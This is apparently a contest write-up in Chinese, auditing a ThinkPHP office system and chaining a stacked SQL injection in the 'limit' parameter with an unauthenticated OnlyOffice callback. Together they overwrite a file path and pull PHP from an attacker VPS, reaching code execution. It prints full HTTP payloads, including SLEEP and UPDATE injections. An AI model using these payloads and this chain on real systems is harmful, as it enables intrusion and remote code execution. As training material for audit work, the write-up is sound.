乐于分享
好东西不私藏

全国软件信息系统安全赛题目 office 复盘

全国软件信息系统安全赛题目 office 复盘

经过预赛、区域赛的筛选,成功入围于中科大剧版的全国软件信息系统安全赛决赛。比赛形式是AWDP,现场采用断网环境,无法查资料,也禁止使用本地大模型,我记得我们队最终是解出了5道题,拿到了一等奖,但是仍有较多题目由于时间原因没有取得进展,近两天于自己电脑上进行了一个复盘。
Office这个题目是一个比较接近现实的题目,由Thinkphp框架搭建的一个OA系统,需要通过审计它的源码找到漏洞,具有代表性,也借此题目做一个常规的PHP架构的源码漏洞审计流程整理。

1. 审计入口:先区分鉴权基类

先看控制器基类,确认不同入口的鉴权强度。

  • app/base/BaseController.php:包含 checkLogin() 和 checkAuth(),会做登录校验和路径权限校验。

  • app/api/BaseController.php:主要做登录态校验,没有 checkAuth(),所以继承它的接口不能只看“能不能访问路径”,还要重点看对象级权限,也就是传入的 id/file_id/uid 是否绑定当前 $this->uid

这里需要注意:继承 app\api\BaseController 不等于一定有漏洞,只是代表路径权限控制较弱。真正的问题要落到具体函数的数据归属校验上。

筛选继承 app\api\BaseController 的控制器:

rg -l-F'use app\api\BaseController;' app -g'**/controller/*.php'

重点关注的文件包括:

app/api/controller/Office.phpapp/api/controller/Index.phpapp/api/controller/Export.phpapp/api/controller/Check.phpapp/home/controller/Approve.php

2. ThinkPHP 路由解析

因为 ThinkPHP 会根据 URL 动态解析控制器和方法,所以无法用Phpstorm上自带的用法查找功能查找函数的调用位置是正常的,需要先在Thinkphp手册上了解基本的路由规则。

例如:
/project/task/view/id/1.html

实际对应:

app/project/controller/Task.php::view($id=1)

再比如:

/api/export/pdf?types=files&id=2

实际对应:

app/api/controller/Export.php::pdf($types='files', $id=2)
另一方面,筛选接口时很可能会忽略前端,但是前端的某个链接其实更直观地反映它在OA里面起到的作用,可以用于辅助我们找到后端的重要功能接口。所以前端接口筛选不是完全没意义,它可以帮助定位后端入口;但最终仍然要回到后端源码,看参数是否做了权限和归属校验。

3. 危险函数筛选,发现 office.php 文件覆盖点

用危险函数筛选文件操作:

rg -n-o-g"*.php""request\(\)->file|Filesystem|putFile|putFileAs|fopen|unlink|readfile|download|file_put_contents|file_get_contents" app public

这里的危险函数还可以根据自己的需求扩充,我这里只筛选了文件操作相关的代码。实际中肯定还有必要加上反序列化,执行等高危操作的筛选。

关键点在 public/office.php

$data=json_decode($body_streamTRUE);if ($data["status"==2){$downloadUri=$data["url"];$key=$data["key"];$id=explode('T'$key)[1];$file_path=Db::name('File')->where('id',$id)->value('filepath');$path_for_save=dirname(CMS_ROOT).$file_path;$new_data=file_get_contents($downloadUri);file_put_contents($path_for_save$new_dataLOCK_EX);}

这里的逻辑是:

  • url 控制下载内容来源。

  • key 里的 T<ID> 控制 oa_file.id

  • 最终写入路径不是 url,而是数据库里的 oa_file.filepath

单独看这个点,风险是未授权 OnlyOffice callback,可以造成任意 URL 内容下载和已有文件覆盖。但正常 filepath 经过验证后发现都是 .txt/.jpg/.docx,所以还不能直接 RCE。下一步要找能不能控制 oa_file.filepath

4. 找到 SQL 注入修改 oa_file.filepath

注入点在 app/home/controller/Approve.php::get_list()

$page=isset($param['page']) ?$param['page'] : 1;$pageSize=$param['limit'];$offset= ($page-1* (int)$pageSize;$finalSql=$unionSql . "ORDER BY create_time DESC LIMIT {$offset}{$pageSize}";$stmt=$pdo->query($finalSql);

虽然 $offset 使用 (int)$pageSize 参与计算,但 $pageSize 本身又原样拼进 LIMIT 后半部分,所以 limit 参数存在 SQL 注入,并且可以堆叠执行额外 SQL。

有一个坑:mylist() 只有 Ajax 请求才会进入查询逻辑。

if (request()->isAjax()) {$param=get_params();    ...$list=$this->get_list($where,$param);}

所以 Burp 请求里必须加:

X-Requested-With: XMLHttpRequest

延时验证:

GET/home/approve/mylist?limit=1%3B%20SELECT%20SLEEP(5)&page=1HTTP/1.1Host: 127.0.0.1:8089X-Requested-With: XMLHttpRequestCookie: PHPSESSID=...Connection: close

延时成功后,用堆叠注入修改当前用户文件记录的 filepath

UPDATE oa_fileSET filepath='/storage/202606/burp_probe.php'WHERE id=5AND user_id=5;

对应请求:

GET/home/approve/mylist?limit=1%3B%20UPDATE%20oa_file%20SET%20filepath%3D%27/storage/202606/burp.php%27%20WHERE%20id%3D5%20AND%20user_id%3D5&page=1HTTP/1.1Host: 127.0.0.1:8089X-Requested-With: XMLHttpRequestCookie: PHPSESSID=...Connection: close

注意:limit 前面必须保留合法数字,比如 1; UPDATE ...。如果直接写 limit=; UPDATE ...,SQL 会变成 LIMIT 0, ; UPDATE ...,语法错误。

5. 验证 filepath 是否修改成功

可以通过 app/api/controller/Office.php::officeapps() 读出 oa_file.filepath

publicfunctionofficeapps($id=0,$mode='edit'){$file=Db::name('File')->where('id',$id)->find();$path=$file['filepath'];$domain=$_SERVER['HTTP_HOST'];$url="//".$domain.$path;returnView('',['url'=>$url]);}

访问:

GET/api/office/officeapps/id/5.htmlHTTP/1.1Host: 127.0.0.1:8089Cookie: PHPSESSID=...Connection: close

如果页面源码(需要在F12里查看)中出现:

/storage/202606/burp.php

说明数据库字段已经被成功修改。

6. 利用 office.php 写入 PHP 内容,完成链路闭环

public/office.php 会根据 key 里的 id 查询 oa_file.filepath,然后把 url 下载到这个路径。

先准备一个无害 PHP 证明内容,例如:

<?php phpinfo()"?>

然后请求 /office.php

POST/office.phpHTTP/1.1Host: 127.0.0.1:8089Content-Type: application/jsonConnection: close{"status":2,"url":"http://VPS/phpinfo.txt","key":"key1780384398T5"}

这里要明确:

  • url 是内容来源。

  • key 中的 T5 表示使用 oa_file.id=5

  • 写入目标由数据库里的 oa_file.filepath 决定。

服务端响应 {“error”:0},说明函数执行成功

最后访问:

http://127.0.0.1:8089/storage/202606/burp.php

如果返回:

phpinfo对应的界面

说明利用链闭环。

7. 最终漏洞链总结

完整链路是:

普通用户登录  -> /home/approve/mylist 的 limit 参数堆叠 SQL 注入  -> 修改 oa_file.filepath 为 public/storage 下的 .php 路径  -> /office.php 未授权回调下载外部内容  -> file_put_contents 写入数据库指定路径  -> 访问 storage 下的 PHP 文件完成代码执行证明

这个题的难点在于需要把多个弱点串起来利用:

  • app/api/BaseController 只校验登录,不做路径权限。

  • Approve::get_list() 的 limit 参数 SQL 注入可以改数据库。

  • public/office.php 未授权文件覆盖,且写入路径来自 oa_file.filepath

单独的文件覆盖只能覆盖已有普通附件,单独的 SQL 注入也不一定直接出 RCE;真正的利用价值来自通过 SQL 注入把文件路径改成可执行 PHP 路径,再借助 office.php 写入内容。